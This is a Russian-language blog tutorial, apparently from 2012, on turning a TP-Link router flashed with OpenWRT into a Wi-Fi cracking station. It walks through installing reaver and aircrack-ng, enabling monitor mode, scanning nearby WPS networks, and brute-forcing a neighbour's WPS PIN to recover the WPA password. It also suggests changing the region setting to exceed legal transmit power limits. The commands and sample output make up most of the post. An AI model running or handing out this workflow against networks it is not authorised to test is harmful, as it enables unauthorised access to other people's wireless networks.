Reaver или делаем из TL-WR1043ND (v1) хак-станцию

Здрасьте. Надысь, дали покурочить девайс Pineapple Mark IV. Что сказать, устройство интересное, хотя и не оригинальное, ибо от того же TP-Link отличается только специальной прошивкой на основе OpenWRT с массой хитрых программ для всё того  же аудита, менее мощным Wi-Fi адаптером (300mW супротив 500mW у TP-Link в режиме US-диапазона), и слегка закрытым "комунити", чрезвычайно неторопливо выпускающем обновления =)


Собсна, взять простой этот самый TP-Link, нашпиговать массой утилит и пригламурить это всё кулхацкер-стайл интерфейсом - и не отличить от Pineapple. Но суть не в этом. Есть там в этом ананасе интересная утилита - Reaver. Служит она для проверки устойчивости к несанкционированному доступу Wi-Fi сетей с включённой опцией WPS. А включена она сейчас практически везде, и всё для тех же глупых и нетерпеливых пользователей, любящих настраивать всё одной кнопочкой =) Насколько известно мне, основная масса устройств (роутеры, точки доступа) уже обзавелись новыми прошивками позволяющими отключать этот режим, но кто же из пользователей, в здравом уме будет:

1. Прошивать свой аппарат новой прошивкой
2. Отключать эту очень полезную (с их точки зрения) функцию WPS

Беда состоит в том, что облегчив жизнь простым пользователям, инженеры и программисты, разработавшие WPS, открыли настежь двери и без того дырявой безопасности Wi-Fi. Не, я не спорю, если использовать сертификаты, "белые списки доступа" и прочие Radius-авторизации - изучать через WPS сеть бессмысленно (почти). Но кто же это настраивает эти вещи у себя?) Параноик, сисадминищще или человек, знающий о безопасности не по корочкам полученным за красивые глаза =)

От слов к делу. Заходим в OpenWRT интерфейс, нашего дорогого сердцу, WR1043ND: Сеть => Wi-Fi => Редактировать => Режим - Монитор. Попутно зайдя во вкладку Расширенные настройки, выставим в поле Регион значение US - United States (это позволит повысить мощность на предыдущей вкладке с разрешённой в РФ мощности излучателя для бытовых WiFi с 200mW до 500mW). Вернёмся на предыдущую вкладку и нажмём кнопку Включить, дабы, собсна, включить Wi-Fi адаптер. С гуёвой настройкой покончено, дальше продолжаем в консоли SSH =)

Заходим по SSH на наш роутер. Выполняем 3 команды (интернет должен быть уже настроен, т.к. пакеты берутся оттуда; либо как вариант сделать локальное зеркало у себя, особенно учитывая состояние openwrt.org в данный момент): обновление списка пакетов, установка Reaver, установка Aircrack-ng:

opkg update

opkg install reaver

opkg install aircrack-ng
opkg install wireless-tools

Собсна, зачем нам aircrack-ng? Это тоже чудный инструмент, но для более брутального изучения криптоустойчивости алгоритмов WEP/WPA/WPA2 применяемых для шифрования Wi-Fi. Из этого пакета нам нужен будет только инструмент airmon-ng для включения интерфейса мониторинга (то что мы включили в гуёвом интерфейсе - это всего лишь указание ничего не делать с адаптером и просто его включить, не поднимая никаких hostapd и прочих, не нужных для аудита весчей).

Включаем интерфейс монитора:

airmon-ng start wlan0

Теперь посмотрим, а какие вокруг есть сети с поддержкой WPS:

wash -i mon0 -s

Флаг -s заставляет насильно сканировать сеть, а не тупо наблюдать за пойманными пакетами (по-умолчанию используется режим survey).

Подождав немного, прерываем наблюдение, ибо wash запускается в бесконечном режиме, и получаем примерно такую картину:

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

BSSID              Channel  RSSI  WPS Version  WPS Locked  ESSID
--------------------------------------------------------------------------------------
DE:AD:BE:EF:B4:BC     1       -45   1.0          No          Vasya_net
AB:BA:BC:CB:50:A6     1       -78   1.0          No          Petya_net
CA:CB:CD:AC:7F:74     5       -88   1.0          No          Nyashka

Начинать изучение советую с наиболее сильной точки (определяется по столбцу RSSI, чем меньше значение - тем сильнее), в данном случае это Vasya_net. Почему с самой сильной? Да просто анализ будет быстрее =)

От этой точки нам важен BSSID - DE:AD:BE:EF:B4:BC. Скармливаем его reaver'у:
reaver -a -v -S -w -d0 -i mon0 -b DE:AD:BE:EF:B4:BC

Процесс пошёл:
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from DE:AD:BE:EF:B4:BC
[+] Associated with DE:AD:BE:EF:B4:BC (ESSID: Vasya_net)
[+] Trying pin 25515671
[+] Trying pin 25515671
[+] 00.00% complete @ 2012-10-04 03:38:03 (0 seconds/pin)
[+] Trying pin 25515671
[+] Trying pin 25515671
[+] Trying pin 25515671
[+] 00.01% complete @ 2012-10-04 03:38:19 (0 seconds/pin)
[+] Trying pin 25525670
[+] Trying pin 25525670
[+] Trying pin 25525670

...

По итогу (процесс может занять довольно долгое время, а может и сработать сразу), высветится что-то вроде:

[+] Trying pin 99557712

[+] WPS PIN: '99557712'

[+] WPA PSK: 'vasin_super_parol'

[+] AP SSID: 'Vasya_net'

Вуаля) PIN подобран, ключ сети выяснен =)

PS: Что самое весёлое - изначально на TL-WR1043ND тоже есть WPS (точнее он называется там QSS, но смысл тот же). Прошив его OpenWRT - эта фича пропадаёт начисто и поднять его не так просто, но можно. Но зачем?) Зато на эту кнопочку можно повесить что-нибудь своё - например запуск скрипта по подбору PIN =)